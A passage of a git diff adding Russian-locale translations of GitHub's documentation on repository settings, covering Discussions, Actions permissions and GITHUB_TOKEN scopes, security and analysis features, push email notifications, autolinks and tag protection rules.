проекты»](/assets/images/help/projects/disable-projects-checkbox.png) + +После отключения {% data variables.projects.projects_v1_boards %} существующие {% data variables.projects.projects_v1_boards %} будет невозможно открыть по их старым URL-адресам. {% data reusables.organizations.disable_project_board_results %} diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository.md new file mode 100644 index 000000000000..82e597795d29 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository.md @@ -0,0 +1,30 @@ +--- +title: Включение или отключение обсуждений GitHub для репозитория +intro: 'Вы можете использовать {% data variables.product.prodname_discussions %} в репозитории как площадку, где ваше сообщество может беседовать, задавать вопросы и публиковать ответы без определения состава и объема работ в рамках проблемы.' +permissions: 'People with admin permissions to a repository can enable {% data variables.product.prodname_discussions %} for the repository.' +versions: + feature: discussions +topics: + - Repositories +redirect_from: + - /github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository + - /github/administering-a-repository/managing-repository-settings/enabling-or-disabling-github-discussions-for-a-repository +shortTitle: Discussions +ms.openlocfilehash: 81633ff38163af2ec2ff7d01d1843e99be82cb97 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410518' +--- +## Включение или отключение {% data variables.product.prodname_discussions %} для репозитория + +{% data reusables.discussions.enabling-or-disabling-github-discussions-for-your-repository %} +1. Чтобы отключить обсуждения, в разделе «Компоненты» снимите флажок **Обсуждения**. + +Можно также использовать обсуждения в организации для содействия беседам, которые охватывают несколько репозиториев в организации. Дополнительные сведения см. в разделе [Включение или отключение GitHub Discussions для организации](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization). + +## Дополнительные материалы + +- [Сведения об обсуждениях](/discussions/collaborating-with-your-community-using-discussions/about-discussions) +- [Управление обсуждениями для сообщества](/discussions/managing-discussions-for-your-community) diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/index.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/index.md new file mode 100644 index 000000000000..60b2a46c3ac7 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/index.md @@ -0,0 +1,25 @@ +--- +title: Включение функций для репозитория +intro: 'Вы можете включить, настроить и отключить дополнительные функции для своего репозитория.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +children: + - /disabling-issues + - /disabling-project-boards-in-a-repository + - /managing-github-actions-settings-for-a-repository + - /enabling-or-disabling-github-discussions-for-a-repository + - /managing-security-and-analysis-settings-for-your-repository +shortTitle: Enable features +ms.openlocfilehash: ac8b5eb3ca39a994d78ebd0ef4d7109dae718ea1 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145136769' +--- + diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md new file mode 100644 index 000000000000..f6bff21e918e --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md @@ -0,0 +1,208 @@ +--- +title: Managing GitHub Actions settings for a repository +intro: 'You can disable or configure {% data variables.product.prodname_actions %} for a specific repository.' +redirect_from: + - /github/administering-a-repository/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository + - /github/administering-a-repository/managing-repository-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository + - /github/administering-a-repository/disabling-or-limiting-github-actions-for-a-repository + - /github/administering-a-repository/managing-repository-settings/disabling-or-limiting-github-actions-for-a-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Actions + - Permissions + - Pull requests +shortTitle: Manage GitHub Actions settings +miniTocMaxHeadingLevel: 3 +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About {% data variables.product.prodname_actions %} permissions for your repository + +{% data reusables.actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)." + +You can enable {% data variables.product.prodname_actions %} for your repository. {% data reusables.actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for your repository altogether. {% data reusables.actions.disabled-actions-description %} + +Alternatively, you can enable {% data variables.product.prodname_actions %} in your repository but limit the actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} a workflow can run. + +## Managing {% data variables.product.prodname_actions %} permissions for your repository + +You can disable {% data variables.product.prodname_actions %} for a repository, or set a policy that configures which actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} can be used in the repository. + +{% note %} + +**Note:** You might not be able to manage these settings if your organization has an overriding policy or is managed by an enterprise that has overriding policy. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)." + +{% endnote %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions-general %} +1. Under "Actions permissions", select an option. + + {% indented_data_reference reusables.actions.actions-use-policy-settings spaces=3 %} + + {% ifversion actions-workflow-policy %} + ![Set actions policy for this repository](/assets/images/help/repository/actions-policy-with-workflows.png) + {%- else %} + ![Set actions policy for this repository](/assets/images/help/repository/actions-policy.png) + {%- endif %} +1. Click **Save**. + +{% data reusables.actions.allow-specific-actions-intro %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions-general %} +1. Under "Actions permissions", select {% data reusables.actions.policy-label-for-select-actions-workflows %} and add your required actions to the list. + + {% ifversion actions-workflow-policy%} + ![Add actions and reusable workflows to the allow list](/assets/images/help/repository/actions-policy-allow-list-with-workflows.png) + {%- elsif ghes %} + ![Add actions to the allow list](/assets/images/help/repository/actions-policy-allow-list.png) + {%- else %} + ![Add actions to the allow list](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png) + {%- endif %} +1. Click **Save**. + +{% ifversion fpt or ghec %} +## Controlling changes from forks to workflows in public repositories + +{% data reusables.actions.workflow-run-approve-public-fork %} + +You can configure this behavior for a repository using the procedure below. Modifying this setting overrides the configuration set at the organization or enterprise level. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions-general %} +{% data reusables.actions.workflows-from-public-fork-setting %} + +{% data reusables.actions.workflow-run-approve-link %} +{% endif %} + +## Enabling workflows for forks of private repositories + +{% data reusables.actions.private-repository-forks-overview %} + +If a policy is disabled for an {% ifversion ghec or ghae or ghes %}enterprise or{% endif %} organization, it cannot be enabled for a repository. + +{% data reusables.actions.private-repository-forks-options %} + +### Configuring the fork policy for a private repository + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions-general %} +{% data reusables.actions.private-repository-forks-configure %} + +## Setting the permissions of the `GITHUB_TOKEN` for your repository + +{% data reusables.actions.workflow-permissions-intro %} + +The default permissions can also be configured in the organization settings. If your repository belongs to an organization and a more restrictive default has been selected in the organization settings, the same option is selected in your repository settings and the permissive option is disabled. + +{% data reusables.actions.workflow-permissions-modifying %} + +### Configuring the default `GITHUB_TOKEN` permissions + +{% ifversion allow-actions-to-approve-pr-with-ent-repo %} +By default, when you create a new repository in your personal account, `GITHUB_TOKEN` only has read access for the `contents` scope. If you create a new repository in an organization, the setting is inherited from what is configured in the organization settings. +{% endif %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions-general %} +1. Under "Workflow permissions", choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope. + + {% ifversion allow-actions-to-approve-pr-with-ent-repo %} + ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository-with-pr-approval.png) + {% else %} + ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository.png) + {% endif %} + +1. Click **Save** to apply the settings. + +{% ifversion allow-actions-to-approve-pr-with-ent-repo %} +### Preventing {% data variables.product.prodname_actions %} from creating or approving pull requests + +{% data reusables.actions.workflow-pr-approval-permissions-intro %} + +By default, when you create a new repository in your personal account, workflows are not allowed to create or approve pull requests. If you create a new repository in an organization, the setting is inherited from what is configured in the organization settings. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions-general %} +1. Under "Workflow permissions", use the **Allow GitHub Actions to create and approve pull requests** setting to configure whether `GITHUB_TOKEN` can create and approve pull requests. + + ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository-with-pr-approval.png) +1. Click **Save** to apply the settings. +{% endif %} + +{% ifversion ghes > 3.3 or ghae > 3.3 or ghec %} +## Allowing access to components in an internal repository + +Members of your enterprise can use internal repositories to work on projects without sharing information publicly. For information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories)." + +You can use the steps below to configure whether {% ifversion internal-actions%}actions and {% endif %}workflows in an internal repository can be accessed from outside the repository.{% ifversion internal-actions %} For more information, see "[Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)." Alternatively, you can use the REST API to set, or get details of, the level of access. For more information, see "[Get the level of access for workflows outside of the repository](/rest/reference/actions#get-the-level-of-access-for-workflows-outside-of-the-repository#get-the-level-of-access-for-workflows-outside-of-the-repository)" and "[Set the level of access for workflows outside of the repository](/rest/reference/actions#get-the-level-of-access-for-workflows-outside-of-the-repository#set-the-level-of-access-for-workflows-outside-of-the-repository)."{% endif %} + +1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of the internal repository. +1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**. +{% data reusables.repositories.settings-sidebar-actions-general %} +1. Under **Access**, choose one of the access settings: + + {% ifversion ghes > 3.4 or ghae > 3.4 or ghec %}![Set the access to Actions components](/assets/images/help/settings/actions-access-settings.png){% else %}![Set the access to Actions components](/assets/images/enterprise/3.4/actions-access-settings.png){% endif %} + + * **Not accessible** - Workflows in other repositories cannot access this repository. + * **Accessible from repositories in the 'ORGANIZATION NAME' organization** - {% ifversion ghes > 3.4 or ghae > 3.4 or ghec %}Workflows in other repositories that are part of the 'ORGANIZATION NAME' organization can access the actions and workflows in this repository. Access is allowed only from private or internal repositories.{% else %}Workflows in other repositories can use workflows in this repository if they are part of the same organization and their visibility is private or internal.{% endif %} + * **Accessible from repositories in the 'ENTERPRISE NAME' enterprise** - {% ifversion ghes > 3.4 or ghae > 3.4 or ghec %}Workflows in other repositories that are part of the 'ENTERPRISE NAME' enterprise can access the actions and workflows in this repository. Access is allowed only from private or internal repositories.{% else %}Workflows in other repositories can use workflows in this repository if they are part of the same enterprise and their visibility is private or internal.{% endif %} +1. Click **Save** to apply the settings. +{% endif %} + +## Configuring the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository + +You can configure the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository. + +{% data reusables.actions.about-artifact-log-retention %} + +You can also define a custom retention period for a specific artifact created by a workflow. For more information, see "[Setting the retention period for an artifact](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)." + +## Setting the retention period for a repository + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions-general %} +{% data reusables.actions.change-retention-period-for-artifacts-logs %} + +{% ifversion actions-cache-policy-apis %} + +## Configuring cache storage for a repository + +{% data reusables.actions.cache-default-size %} However, these default sizes might be different if an enterprise owner has changed them. {% data reusables.actions.cache-eviction-process %} + +You can set a total cache storage size for your repository up to the maximum size allowed by the {% ifversion actions-cache-admin-ui %}organization or{% endif %} enterprise policy setting{% ifversion actions-cache-admin-ui %}s{% endif %}. + +{% ifversion actions-cache-admin-ui %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions-general %} +{% data reusables.actions.change-cache-size-limit %} + +{% else %} + +The repository settings for {% data variables.product.prodname_actions %} cache storage can currently only be modified using the REST API: + +* To view the current cache storage limit for a repository, see "[Get GitHub Actions cache usage policy for a repository](/rest/actions/cache#get-github-actions-cache-usage-policy-for-a-repository)." +* To change the cache storage limit for a repository, see "[Set GitHub Actions cache usage policy for a repository](/rest/actions/cache#set-github-actions-cache-usage-policy-for-a-repository)." + +{% data reusables.actions.cache-no-org-policy %} + +{% endif %} + +{% endif %} diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md new file mode 100644 index 000000000000..1cbb6dffabb5 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md @@ -0,0 +1,118 @@ +--- +title: Managing security and analysis settings for your repository +intro: 'You can control features that secure and analyze the code in your project on {% data variables.product.prodname_dotcom %}.' +permissions: People with admin permissions to a repository can manage security and analysis settings for the repository. +redirect_from: + - /articles/managing-alerts-for-vulnerable-dependencies-in-your-organization-s-repositories + - /articles/managing-alerts-for-vulnerable-dependencies-in-your-organizations-repositories + - /articles/managing-alerts-for-vulnerable-dependencies-in-your-organization + - /github/managing-security-vulnerabilities/managing-alerts-for-vulnerable-dependencies-in-your-organization + - /github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository + - /github/administering-a-repository/managing-repository-settings/managing-security-and-analysis-settings-for-your-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Dependabot + - Alerts + - Advanced Security + - Dependency graph + - Secret scanning + - Repositories +shortTitle: Security & analysis +--- +{% ifversion fpt or ghec %} +## Enabling or disabling security and analysis features for public repositories + +You can manage a subset of security and analysis features for public repositories. Other features are permanently enabled, including dependency graph and secret scanning. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-code-security-and-analysis %} +4. Under "Code security and analysis", to the right of the feature, click **Disable** or **Enable**. + !["Enable" or "Disable" button for "Configure security and analysis" features in a public repository](/assets/images/help/repository/security-and-analysis-disable-or-enable-public.png) +{% endif %} + +## Enabling or disabling security and analysis features{% ifversion fpt or ghec %} for private repositories{% endif %} + +You can manage the security and analysis features for your {% ifversion fpt or ghec %}private or internal {% endif %}repository.{% ifversion ghes or ghec %} If your organization belongs to an enterprise with a license for {% data variables.product.prodname_GH_advanced_security %} then extra options are available. {% data reusables.advanced-security.more-info-ghas %} +{% elsif fpt %} Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} have extra options available. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest//repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#enabling-or-disabling-security-and-analysis-features-for-private-repositories). +{% endif %} + +{% data reusables.security.security-and-analysis-features-enable-read-only %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-code-security-and-analysis %} +{% ifversion fpt or ghes or ghec %} +4. Under "Code security and analysis", to the right of the feature, click **Disable** or **Enable**. {% ifversion not fpt %}The control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled if your enterprise has no available licenses for {% data variables.product.prodname_advanced_security %}.{% endif %}{% ifversion fpt %} + ![Screenshot of "Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png){% elsif ghec %} + ![Screenshot of "Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-private.png){% elsif ghes > 3.6 or ghae > 3.6 %}<!--Insert screenshot for GHES 3.7 when available--> + ![Screenshot of "Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/repository/security-and-analysis-disable-or-enable-ghes.png){% endif %} + + {% ifversion not fpt %} + {% note %} + + **Note:** If you disable {% data variables.product.prodname_GH_advanced_security %}, {% ifversion ghec %}dependency review, {% endif %}{% data variables.product.prodname_secret_scanning %} and {% data variables.product.prodname_code_scanning %} are disabled. Any workflows, SARIF uploads, or API calls for {% data variables.product.prodname_code_scanning %} will fail. + {% endnote %}{% endif %} + + {% endif %} + + {% ifversion ghae %} +4. Under "Code security and analysis", to the right of the feature, click **Disable** or **Enable**. Before you can enable "{% data variables.product.prodname_secret_scanning %}" for your repository, you may need to enable {% data variables.product.prodname_GH_advanced_security %}. + ![Enable or disable {% data variables.product.prodname_GH_advanced_security %} or {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-secret-scanning-ghae.png) + {% endif %} + +## Granting access to security alerts + +Security alerts for a repository are visible to people with admin access to the repository and, when the repository is owned by an organization, organization owners. You can give additional teams and people access to the alerts. + +{% note %} + +Organization owners and repository administrators can only grant access to view security alerts, such as {% data variables.product.prodname_secret_scanning %} alerts, to people or teams who have write access to the repo. + +{% endnote %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-code-security-and-analysis %} +4. Under "Access to alerts", in the search field, start typing the name of the person or team you'd like to find, then click a name in the list of matches. + {% ifversion fpt or ghec or ghes %} + ![Search field for granting people or teams access to security alerts](/assets/images/help/repository/security-and-analysis-security-alerts-person-or-team-search.png) + {% endif %} + + {% ifversion ghae %} + ![Search field for granting people or teams access to security alerts](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-person-or-team-search-ghae.png) + {% endif %} + +5. Click **Save changes**. + {% ifversion fpt or ghes or ghec %} + !["Save changes" button for changes to security alert settings](/assets/images/help/repository/security-and-analysis-security-alerts-save-changes.png) + {% endif %} + + {% ifversion ghae %} + !["Save changes" button for changes to security alert settings](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-save-changes-ghae.png) + {% endif %} + +## Removing access to security alerts + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-code-security-and-analysis %} +4. Under "Access to alerts", to the right of the person or team whose access you'd like to remove, click {% octicon "x" aria-label="X symbol" %}. + {% ifversion fpt or ghec or ghes %} + !["x" button to remove someone's access to security alerts for your repository](/assets/images/help/repository/security-and-analysis-security-alerts-username-x.png) + {% endif %} + + {% ifversion ghae %} + !["x" button to remove someone's access to security alerts for your repository](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-username-x-ghae.png) + {% endif %} + 5. Click **Save changes**. + +## Further reading + +- "[Securing your repository](/code-security/getting-started/securing-your-repository)" +- "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/index.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/index.md new file mode 100644 index 000000000000..b9a8ef61fe01 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/index.md @@ -0,0 +1,27 @@ +--- +title: Управление параметрами и функциями репозитория +intro: 'Вы можете настроить репозиторий, включить или отключить дополнительные функции для репозитория и управлять параметрами репозитория.' +redirect_from: + - /categories/administering-a-repository + - /articles/managing-repository-settings + - /github/administering-a-repository/managing-repository-settings +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +children: + - /customizing-your-repository + - /enabling-features-for-your-repository + - /managing-repository-settings +shortTitle: Manage repository settings +ms.openlocfilehash: 34dfda5540e800f9424b77fab9a8f7e18fca539f +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145136751' +--- + diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md new file mode 100644 index 000000000000..dbb15fcae3c5 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md @@ -0,0 +1,49 @@ +--- +title: About email notifications for pushes to your repository +intro: You can choose to automatically send email notifications to a specific email address when anyone pushes to the repository. +permissions: People with admin permissions in a repository can enable email notifications for pushes to your repository. +redirect_from: + - /articles/managing-notifications-for-pushes-to-a-repository + - /articles/receiving-email-notifications-for-pushes-to-a-repository + - /articles/about-email-notifications-for-pushes-to-your-repository + - /github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository + - /github/administering-a-repository/about-email-notifications-for-pushes-to-your-repository + - /github/administering-a-repository/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Email notifications for pushes +--- +{% data reusables.notifications.outbound_email_tip %} + +Each email notification for a push to a repository lists the new commits and links to a diff containing just those commits. In the email notification you'll see: + +- The name of the repository where the commit was made +- The branch a commit was made in +- The SHA1 of the commit, including a link to the diff in {% data variables.product.product_name %} +- The author of the commit +- The date when the commit was made +- The files that were changed as part of the commit +- The commit message + +You can filter email notifications you receive for pushes to a repository. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)." + +## Enabling email notifications for pushes to your repository + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.sidebar-notifications %} +5. Type up to two email addresses, separated by whitespace, where you'd like notifications to be sent. If you'd like to send emails to more than two accounts, set one of the email addresses to a group email address. +![Email address textbox](/assets/images/help/settings/email_services_addresses.png) +1. If you operate your own server, you can verify the integrity of emails via the **Approved header**. The **Approved header** is a token or secret that you type in this field, and that is sent with the email. If the `Approved` header of an email matches the token, you can trust that the email is from {% data variables.product.product_name %}. +![Email approved header textbox](/assets/images/help/settings/email_services_approved_header.png) +7. Click **Setup notifications**. +![Setup notifications button](/assets/images/help/settings/setup_notifications_settings.png) + +## Further reading +- "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" + diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md new file mode 100644 index 000000000000..6018fec5c658 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md @@ -0,0 +1,54 @@ +--- +title: Configuring autolinks to reference external resources +intro: You can add autolinks to external resources like JIRA issues and Zendesk tickets to help streamline your workflow. +product: '{% data reusables.gated-features.autolinks %}' +redirect_from: + - /articles/configuring-autolinks-to-reference-external-resources + - /github/administering-a-repository/configuring-autolinks-to-reference-external-resources + - /github/administering-a-repository/managing-repository-settings/configuring-autolinks-to-reference-external-resources +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Configure autolinks +--- + +## About autolinks + +Anyone with admin permissions to a repository can configure autolink references to link issues, pull requests, commit messages, and release descriptions to external third-party services. + +{% ifversion autolink-reference-alphanumeric %} +Autolink references can now accept alphanumeric characters. When originally introduced, custom autolinks were limited to external resources that used numeric identifiers. Custom autolinks now work with alphanumeric and numeric identifiers. + +You define custom autolinks by specifying a reference prefix and a target URL. +- Reference prefixes cannot have overlapping names. For example, a repository cannot have two custom autolinks with prefixes such as `TICKET` and `TICK`, since both prefixes would match the string `TICKET123a`. +- Target URLs include a `<num>` variable which represents the reference identifier of the linked resource. +{% endif %} + +## Configuring autolinks to reference external resources + +This procedure demonstrates how to configure autolinks to reference external resources. For example, if you use Zendesk to track user-reported tickets, you can reference a ticket number in the pull request you opened to fix the issue. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Integrations" section of the sidebar, click **{% octicon "cross-reference" aria-label="The cross-reference icon" %} Autolink references**. +{% else %} +1. In the left sidebar, click **Autolink references**. +![Autolink references tab in the left sidebar.](/assets/images/help/repository/autolink-references-tab.png) +{% endif %} +1. Click **Add autolink reference**. +![Button to fill out autolink reference information.](/assets/images/help/repository/add-autolink-reference-details.png) +{% ifversion autolink-reference-alphanumeric %} +1. Select the format of the reference identifier used in the external resource, either alphanumeric or numeric. +![Autolink format setting, alphanumeric or numeric.](/assets/images/help/repository/autolink-format-setting.png) +{% endif %} +1. Under "Reference prefix", type a short, meaningful prefix you want collaborators to use to generate autolinks for the external resource. +{% ifversion autolink-reference-alphanumeric %}![Field to type abbreviation for external system.](/assets/images/help/repository/add-reference-prefix-field-alphanumeric.png){% else %}![Field to type abbreviation for external system.](/assets/images/help/repository/add-reference-prefix-field.png){% endif %} +1. Under "Target URL", type the link to the external system you want to link to. Use the `<num>` variable as a placeholder for the reference identifier. +{% ifversion autolink-reference-alphanumeric %}![Field to type URL to external system.](/assets/images/help/repository/add-target-url-field-alphanumeric.png){% else %}![Field to type URL to external system.](/assets/images/help/repository/add-target-url-field.png){% endif %} +1. Click **Add autolink reference**. +{% ifversion autolink-reference-alphanumeric %}{% else %}![Button to add autolink reference.](/assets/images/help/repository/add-autolink-reference.png){% endif %} diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules.md new file mode 100644 index 000000000000..bfcbdec62bcc --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules.md @@ -0,0 +1,35 @@ +--- +title: Настройка правил защиты тегов +shortTitle: Tag protection rules +intro: 'Вы можете настроить правила защиты тегов для репозитория, чтобы запретить участникам создавать или удалять теги.' +product: '{% data reusables.gated-features.tag-protection-rules %}' +versions: + fpt: '*' + ghae: '>= 3.5' + ghec: '*' + ghes: '>3.4' +ms.openlocfilehash: 3b7b84cb26d8994c89222b2e4f642592fd45b72f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147063205' +--- +{% note %} + +**Примечание.** Правила защиты тегов в настоящее время находятся в бета-версии и могут быть изменены. + +{% endnote %} + +При добавлении правила защиты тегов все теги, соответствующие предоставленному шаблону, будут защищены. Только пользователи с правами на администрирование или обслуживание смогут создавать защищенные теги, и только пользователи с разрешениями администратора в репозитории смогут удалять защищенные теги. Дополнительные сведения см. в разделе [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role). Для {% data variables.product.prodname_github_apps %} требуется разрешение `Repository administration: write` на изменение защищенного тега. + +{% ifversion custom-repository-roles %} Кроме того, вы можете создать пользовательские роли в репозитории, чтобы разрешить другим группам пользователей создавать или удалять теги, соответствующие правилам защиты тегов. Дополнительные сведения см. в разделе [Управление ролями репозитория для организации](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization).{% endif %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +1. В разделе "Код и автоматизация" на боковой панели щелкните **Теги {% octicon "tag" aria-label="The tag icon" %}** . +1. Нажмите кнопку **Создать правило**. +![Новое правило защиты тегов](/assets/images/help/repository/new-tag-protection-rule.png) +1. В разделе "Шаблон имени тега" введите шаблон тегов, которые требуется защитить. В этом примере введите \*, чтобы защитить все теги. +![Настройка шаблона защиты тегов](/assets/images/help/repository/set-tag-protection-pattern.png) +1. Нажмите кнопку **Добавить правило**. +![Добавление правила защиты тегов](/assets/images/help/repository/add-tag-protection-rule.png) diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository.md 